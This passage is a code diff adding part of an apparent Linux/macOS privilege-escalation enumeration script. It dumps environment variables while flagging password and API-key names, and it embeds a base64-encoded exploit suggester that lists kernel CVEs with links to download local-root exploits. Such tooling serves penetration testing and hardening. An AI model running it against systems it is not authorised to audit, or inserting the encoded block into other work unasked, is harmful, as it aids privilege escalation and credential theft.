+ echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ fi
+fi
+echo ""
+
+#-- SY) PATH
+
+print_2title "PATH"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
+if ! [ "$IAMROOT" ]; then
+ echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
+fi
+
+if [ "$DEBUG" ]; then
+ echo "New path exported: $PATH"
+fi
+echo ""
+
+#-- SY) Date
+print_2title "Date & uptime"
+warn_exec date 2>/dev/null
+warn_exec uptime 2>/dev/null
+echo ""
+
+#-- SY) System stats
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "System stats"
+ (df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk"
+ warn_exec free 2>/dev/null
+ echo ""
+fi
+
+#-- SY) CPU info
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "CPU info"
+ warn_exec lscpu 2>/dev/null
+ echo ""
+fi
+
+if [ -d "/dev" ] || [ "$DEBUG" ] ; then
+ print_2title "Any sd*/disk* disk in /dev? (limit 20)"
+ ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20
+ echo ""
+fi
+
+if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
+ print_2title "Unmounted file-system?"
+ print_info "Check if you can mount umounted devices"
+ grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
+ echo ""
+fi
+
+if ([ "$(command -v diskutil)" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then
+ print_2title "Mounted disks information"
+ warn_exec diskutil list
+ echo ""
+fi
+
+if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
+ print_2title "Mounted SMB Shares"
+ warn_exec smbutil statshares -a
+ echo ""
+fi
+
+#-- SY) Environment vars
+print_2title "Environment"
+print_info "Any private information inside environment variables?"
+(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
+echo ""
+
+#-- SY) Dmesg
+if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
+ print_2title "Searching Signature verification failed in dmesg"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
+ (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
+ echo ""
+fi
+
+#-- SY) Kernel extensions
+if [ "$MACPEAS" ]; then
+ print_2title "Kernel Extensions not belonging to apple"
+ kextstat 2>/dev/null | grep -Ev " com.apple."
+
+ print_2title "Unsigned Kernel Extensions"
+ macosNotSigned /Library/Extensions
+ macosNotSigned /System/Library/Extensions
+fi
+
+if [ "$(command -v bash 2>/dev/null)" ]; then
+ print_2title "Executing Linux Exploit Suggester"
+ print_info "https://github.com/mzet-/linux-exploit-suggester"
+ les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMywgaHR0cHM6Ly9naXRodWIuY29tL216ZXQtCiMKIyBsaW51eC1leHBsb2l0LXN1Z2dlc3Rlci5zaCBjb21lcyB3aXRoIEFCU09MVVRFTFkgTk8gV0FSUkFOVFkuCiMgVGhpcyBpcyBmcmVlIHNvZnR3YXJlLCBhbmQgeW91IGFyZSB3ZWxjb21lIHRvIHJlZGlzdHJpYnV0ZSBpdAojIHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UuIFNlZSBMSUNFTlNFCiMgZmlsZSBmb3IgdXNhZ2Ugb2YgdGhpcyBzb2Z0d2FyZS4KIwoKVkVSU0lPTj12MS4xCgojIGJhc2ggY29sb3JzCiN0eHRyZWQ9IlxlWzA7MzFtIgp0eHRyZWQ9IlxlWzkxOzFtIgp0eHRncm49IlxlWzE7MzJtIgp0eHRncmF5PSJcZVswOzM3bSIKdHh0Ymx1PSJcZVswOzM2bSIKdHh0cnN0PSJcZVswbSIKYmxkd2h0PSdcZVsxOzM3bScKd2h0PSdcZVswOzM2bScKYmxkYmx1PSdcZVsxOzM0bScKeWVsbG93PSdcZVsxOzkzbScKbGlnaHR5ZWxsb3c9J1xlWzA7OTNtJwoKIyBpbnB1dCBkYXRhClVOQU1FX0E9IiIKCiMgcGFyc2VkIGRhdGEgZm9yIGN1cnJlbnQgT1MKS0VSTkVMPSIiCk9TPSIiCkRJU1RSTz0iIgpBUkNIPSIiClBLR19MSVNUPSIiCgojIGtlcm5lbCBjb25maWcKS0NPTkZJRz0iIgoKQ1ZFTElTVF9GSUxFPSIiCgpvcHRfZmV0Y2hfYmlucz1mYWxzZQpvcHRfZmV0Y2hfc3Jjcz1mYWxzZQpvcHRfa2VybmVsX3ZlcnNpb249ZmFsc2UKb3B0X3VuYW1lX3N0cmluZz1mYWxzZQpvcHRfcGtnbGlzdF9maWxlPWZhbHNlCm9wdF9jdmVsaXN0X2ZpbGU9ZmFsc2UKb3B0X2NoZWNrc2VjX21vZGU9ZmFsc2UKb3B0X2Z1bGw9ZmFsc2UKb3B0X3N1bW1hcnk9ZmFsc2UKb3B0X2tlcm5lbF9vbmx5PWZhbHNlCm9wdF91c2Vyc3BhY2Vfb25seT1mYWxzZQpvcHRfc2hvd19kb3M9ZmFsc2UKb3B0X3NraXBfbW9yZV9jaGVja3M9ZmFsc2UKb3B0X3NraXBfcGtnX3ZlcnNpb25zPWZhbHNlCgpBUkdTPQpTSE9SVE9QVFM9ImhWZmJzdTprOmRwOmciCkxPTkdPUFRTPSJoZWxwLHZlcnNpb24sZnVsbCxmZXRjaC1iaW5hcmllcyxmZXRjaC1zb3VyY2VzLHVuYW1lOixrZXJuZWw6LHNob3ctZG9zLHBrZ2xpc3QtZmlsZTosc2hvcnQsa2VybmVsc3BhY2Utb25seSx1c2Vyc3BhY2Utb25seSxza2lwLW1vcmUtY2hlY2tzLHNraXAtcGtnLXZlcnNpb25zLGN2ZWxpc3QtZmlsZTosY2hlY2tzZWMiCgojIyBleHBsb2l0cyBkYXRhYmFzZQpkZWNsYXJlIC1hIEVYUExPSVRTCmRlY2xhcmUgLWEgRVhQTE9JVFNfVVNFUlNQQUNFCgojIyB0ZW1wb3JhcnkgYXJyYXkgZm9yIHB1cnBvc2Ugb2Ygc29ydGluZyBleHBsb2l0cyAoYmFzZWQgb24gZXhwbG9pdHMnIHJhbmspCmRlY2xhcmUgLWEgZXhwbG9pdHNfdG9fc29ydApkZWNsYXJlIC1hIFNPUlRFRF9FWFBMT0lUUwoKIyMjIyMjIyMjIyMjIExJTlVYIEtFUk5FTFNQQUNFIEVYUExPSVRTICMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IGVsZmxibApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42LngvZWxmbGJsCmV4cGxvaXQtZGI6IDc0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IHVzZWxpYigpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPTIuNC4yOQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2lzZWMucGwvdnVsbmVyYWJpbGl0aWVzL2lzZWMtMDAyMS11c2VsaWIudHh0CmV4cGxvaXQtZGI6IDc3OApDb21tZW50czogS25vd24gdG8gd29yayBvbmx5IGZvciAyLjQgc2VyaWVzIChldmVuIHRob3VnaCAyLjYgaXMgYWxzbyB2dWxuZXJhYmxlKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IGtyYWQzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuNSx2ZXI8PTIuNi4xMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDEzOTcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0wMDc3XSR7dHh0cnN0fSBtcmVtYXBfcHRlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4yClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTYwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcmFwdG9yX3ByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDMxCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDUKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMTEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0zNjI2XSR7dHh0cnN0fSBoMDBseXNoaXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi44LHZlcjw9Mi42LjE2ClRhZ3M6ClJhbms6IDEKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdApleHBsb2l0LWRiOiAyMDEzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtMDYwMF0ke3R4dHJzdH0gdm1zcGxpY2UxClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTcsdmVyPD0yLjYuMjQKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA1MDkyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtMDYwMF0ke3R4dHJzdH0gdm1zcGxpY2UyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjMsdmVyPD0yLjYuMjQKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA1MDkzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtNDIxMF0ke3R4dHJzdH0gZnRyZXgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMSx2ZXI8PTIuNi4yMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDY4NTEKQ29tbWVudHM6IHdvcmxkLXdyaXRhYmxlIHNnaWQgZGlyZWN0b3J5IGFuZCBzaGVsbCB0aGF0IGRvZXMgbm90IGRyb3Agc2dpZCBwcml2cyB1cG9uIGV4ZWMgKGFzaC9zYXNoKSBhcmUgcmVxdWlyZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOC00MjEwXSR7dHh0cnN0fSBleGl0X25vdGlmeQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjI1LHZlcjw9Mi42LjI5ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogODM2OQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTJdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UgKHNpbXBsZSB2ZXJzaW9uKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzAKVGFnczogdWJ1bnR1PTcuMTAsUkhFTD00LGZlZG9yYT00fDV8Nnw3fDh8OXwxMHwxMQpSYW5rOiAxCmV4cGxvaXQtZGI6IDk0NzkKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzAKVGFnczogdWJ1bnR1PTkuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8veG9ybC53b3JkcHJlc3MuY29tLzIwMDkvMDcvMTYvY3ZlLTIwMDktMTg5NS1saW51eC1rZXJuZWwtcGVyX2NsZWFyX29uX3NldGlkLXBlcnNvbmFsaXR5LWJ5cGFzcy8Kc3JjLXVybDogaHR0cHM6Ly9naXRsYWIuY29tL2V4cGxvaXQtZGF0YWJhc2UvZXhwbG9pdGRiLWJpbi1zcGxvaXRzLy0vcmF3L21haW4vYmluLXNwbG9pdHMvOTQzNS50Z3oKZXhwbG9pdC1kYjogOTQzNQpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMCBPUiBwdWxzZWF1ZGlvIG5lZWRzIHRvIGJlIGluc3RhbGxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZTIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0bGFiLmNvbS9leHBsb2l0LWRhdGFiYXNlL2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy8tL3Jhdy9tYWluL2Jpbi1zcGxvaXRzLzk0MzYudGd6CmV4cGxvaXQtZGI6IDk0MzYKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZTMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0bGFiLmNvbS9leHBsb2l0LWRhdGFiYXNlL2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy8tL3Jhdy9tYWluL2Jpbi1zcGxvaXRzLzk2NDEudGFyLmd6CmV4cGxvaXQtZGI6IDk2NDEKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAgT1IgcHVsc2VhdWRpbyBuZWVkcyB0byBiZSBpbnN0YWxsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UgKHBwYykKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT04LjEwLFJIRUw9NHw1ClJhbms6IDEKZXhwbG9pdC1kYjogOTU0NQpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IHRoZSByZWJlbCAodWRwX3NlbmRtc2cpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOQpUYWdzOiBkZWJpYW49NApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0bGFiLmNvbS9leHBsb2l0LWRhdGFiYXNlL2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy8tL3Jhdy9tYWluL2Jpbi1zcGxvaXRzLzk1NzQudGd6CmV4cGxvaXQtZGI6IDk1NzQKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuY3IwLm9yZy8yMDA5LzA4L2N2ZS0yMDA5LTI2OTgtdWRwc2VuZG1zZy12dWxuZXJhYmlsaXR5Lmh0bWwKYXV0aG9yOiBzcGVuZGVyCkNvbW1lbnRzOiAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBuZWVkcyB0byBlcXVhbCAwIE9SIHB1bHNlYXVkaW8gbmVlZHMgdG8gYmUgaW5zdGFsbGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5OF0ke3R4dHJzdH0gaG9hZ2llX3VkcF9zZW5kbXNnClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOSx4ODYKVGFnczogZGViaWFuPTQKUmFuazogMQpleHBsb2l0LWRiOiA5NTc1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogYW5kaQpDb21tZW50czogV29ya3MgZm9yIHN5c3RlbXMgd2l0aCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBlcXVhbCB0byAwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5OF0ke3R4dHJzdH0ga2F0b24gKHVkcF9zZW5kbXNnKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGRlYmlhbj00ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL0thYm90L1VuaXgtUHJpdmlsZWdlLUVzY2FsYXRpb24tRXhwbG9pdHMtUGFjay9yYXcvbWFzdGVyLzIwMDkvQ1ZFLTIwMDktMjY5OC9rYXRvbi5jCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogVnhIZWxsIExhYnMKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGlwX2FwcGVuZF9kYXRhClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOSx4ODYKVGFnczogZmVkb3JhPTR8NXw2LFJIRUw9NApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmV4cGxvaXQtZGI6IDk1NDIKYXV0aG9yOiBwMGM3M24xCkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0zNTQ3XSR7dHh0cnN0fSBwaXBlLmMgMQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAzMzMyMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTM1NDddJHt0eHRyc3R9IHBpcGUuYyAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDMzMzIyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMzU0N10ke3R4dHJzdH0gcGlwZS5jIDMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTAwMTgKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zMzAxXSR7dHh0cnN0fSBwdHJhY2Vfa21vZDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yNix2ZXI8PTIuNi4zNApUYWdzOiBkZWJpYW49Ni4we2tlcm5lbDoyLjYuKDMyfDMzfDM0fDM1KS0oMXwyfHRydW5rKS1hbWQ2NH0sdWJ1bnR1PSgxMC4wNHwxMC4xMCl7a2VybmVsOjIuNi4oMzJ8MzUpLSgxOXwyMXwyNCktc2VydmVyfQpSYW5rOiAxCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDExMTEwMzA0MjkwNC9odHRwOi8vdGFyYW50dWxhLmJ5LnJ1L2xvY2Fscm9vdC8yLjYueC9rbW9kMgpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42LngvcHRyYWNlLWttb2QKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcHRyYWNlX2ttb2QyLTY0CmV4cGxvaXQtZGI6IDE1MDIzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMTE0Nl0ke3R4dHJzdH0gcmVpc2VyZnMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8PTIuNi4zNApUYWdzOiB1YnVudHU9OS4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9qb24ub2JlcmhlaWRlLm9yZy9ibG9nLzIwMTAvMDQvMTAvcmVpc2VyZnMtcmVpc2VyZnNfcHJpdi12dWxuZXJhYmlsaXR5LwpzcmMtdXJsOiBodHRwczovL2pvbi5vYmVyaGVpZGUub3JnL2ZpbGVzL3RlYW0tZWR3YXJkLnB5CmV4cGxvaXQtZGI6IDEyMTMwCmNvbW1lbnRzOiBSZXF1aXJlcyBhIFJlaXNlckZTIGZpbGVzeXN0ZW0gbW91bnRlZCB3aXRoIGV4dGVuZGVkIGF0dHJpYnV0ZXMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0yOTU5XSR7dHh0cnN0fSBjYW5fYmNtClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjQtZ2VuZXJpY30KUmFuazogMQpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9jYW5fYmNtCmV4cGxvaXQtZGI6IDE0ODE0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzkwNF0ke3R4dHJzdH0gcmRzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzAsdmVyPDIuNi4zNwpUYWdzOiBkZWJpYW49Ni4we2tlcm5lbDoyLjYuKDMxfDMyfDM0fDM1KS0oMXx0cnVuayktYW1kNjR9LHVidW50dT0xMC4xMHw5LjEwLGZlZG9yYT0xM3trZXJuZWw6Mi42LjMzLjMtODUuZmMxMy5pNjg2LlBBRX0sdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItKDIxfDI0KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9hcmNoaXZlLzEvNTE0Mzc5CnNyYy11cmw6IGh0dHA6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTAxMDIwMDQ0MDQ4L2h0dHA6Ly93d3cudnNlY3VyaXR5LmNvbS9kb3dubG9hZC90b29scy9saW51eC1yZHMtZXhwbG9pdC5jCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjY0MS9odHRwczovL3d3dy5rZXJu